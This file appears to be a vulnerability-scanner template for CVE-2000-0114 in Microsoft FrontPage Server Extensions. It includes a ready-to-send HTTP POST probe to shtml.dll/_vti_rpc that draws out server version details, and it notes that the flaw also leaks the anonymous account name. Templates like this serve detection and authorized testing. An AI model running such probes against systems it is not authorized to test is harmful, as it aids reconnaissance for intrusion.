Microsoft FrontPage Extensions - Information Disclosure

id: CVE-2000-0114

info:
  name: Microsoft FrontPage Extensions - Information Disclosure
  author: r3naissance,matejsmycka
  severity: medium
  description: |
    Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
  impact: |
    Unauthenticated attackers can discover the anonymous account name through RPC POST requests to FrontPage Server Extensions, providing reconnaissance information for further targeted attacks against the web server.
  remediation: |
    Upgrade to the latest version.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/CVE-2000-0114
    - https://github.com/adityaks/sparty/blob/777fd944e5d9ff0c5837a5a4f2c8e5c58a11c357/sparty_v_0.1/sparty_v_0.1.py#L298
    - https://nvd.nist.gov/vuln/detail/CVE-2000-0114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2000-0114
    epss-score: 0.47595
    epss-percentile: 0.98693
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: internet_information_server
    shodan-query: cpe:"cpe:2.3:a:microsoft:internet_information_server"
  tags: cve,cve2000,frontpage,microsoft,edb,vuln

http:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        X-Vermeer-Content-Type: application/x-www-form-urlencoded

        method=server+version

    payloads:
      path:
        - "_vti_bin/shtml.dll/_vti_rpc"
        - "_vti_bin/shtml.exe/_vti_rpc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'major ver='
          - 'minor ver='
          - 'ver incr='
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'version:([0-9.]+)'
# digest: 4a0a00473045022100d794c46f6eb17413b118ff85b169e3311908628b0f69fc44c30924cc0e44603c022054e7fab775786f058fa6f017c843cffcced723634edf8423a190275228f5e3fe:922c64590222798bb761d5b6d8e72950